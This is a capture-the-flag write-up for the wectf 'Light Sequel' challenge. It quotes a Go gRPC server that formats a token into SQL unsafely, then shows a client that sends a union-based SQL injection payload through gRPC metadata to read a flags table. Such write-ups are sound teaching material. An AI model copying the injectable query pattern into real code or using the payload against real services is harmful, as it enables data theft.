wectf: Light Sequel
This was a nice opportunity to see grpc in action.
They provided the code for the server, as well as the protobuf-based service.
Looking at the code, I saw a possible sql injection vulnerability here (in the where clause):
func (s *srvServer) GetLoginHistory(ctx context.Context, _ *pb.SrvRequest) (*pb.SrvReply, error) {
md, _ := metadata.FromIncomingContext(ctx)
if len(md["user_token"]) == 0 {
// no user token provided by upstream
return &pb.SrvReply{
Ip: nil,
}, nil
}
userToken := md["user_token"][0]
var ul []UserLogs
err := db.Table("user_logs AS ul").
Select("ul.ip").
Where(fmt.Sprintf("ul.user_id = (SELECT id FROM users AS u WHERE u.token = '%s')", userToken)).
Find(&ul)
if err != nil {
log.Println(err)
}
// convert struct to an array
var ips []string
for _, v := range ul {
ips = append(ips, v.Ip)
}
return &pb.SrvReply{
Ip: ips,
}, nil
}
First step: implement a client to be able to call the GetLoginHistory
. I went
through the steps of invoking the AuthSrv
and registering, but it turns out
that wasn’t actually needed–the GetLoginHistory
is only checking the token
exists, without validation.
func main() {
conn, err := grpc.Dial("light.w-va.cf:1004", grpc.WithInsecure())
if err != nil {
panic(err)
}
defer conn.Close()
srvc := proto.NewSrvClient(conn)
srvreq := proto.SrvRequest{}
srvresp, err := srvc.GetLoginHistory(context.Background(), &srvreq)
if err != nil {
panic(err)
}
fmt.Println(srvresp)
}
This got the Nil response. It took me a bit more effort to figure out how to pass a user_token
into the
md
via the metadata.FromIncomingContext(ctx)
. And from there,
a union-based sql injection to get the flag.
srvc := proto.NewSrvClient(conn)
md := metadata.New(map[string]string{"user_token": "')) union select flag from flags--"})
ctx := metadata.NewOutgoingContext(context.Background(), md)
srvreq := proto.SrvRequest{}
srvresp, err := srvc.GetLoginHistory(ctx, &srvreq)
It was cool to learn about grpc and xorm as well–haven’t done serious golang in a while. Thanks wectf. :)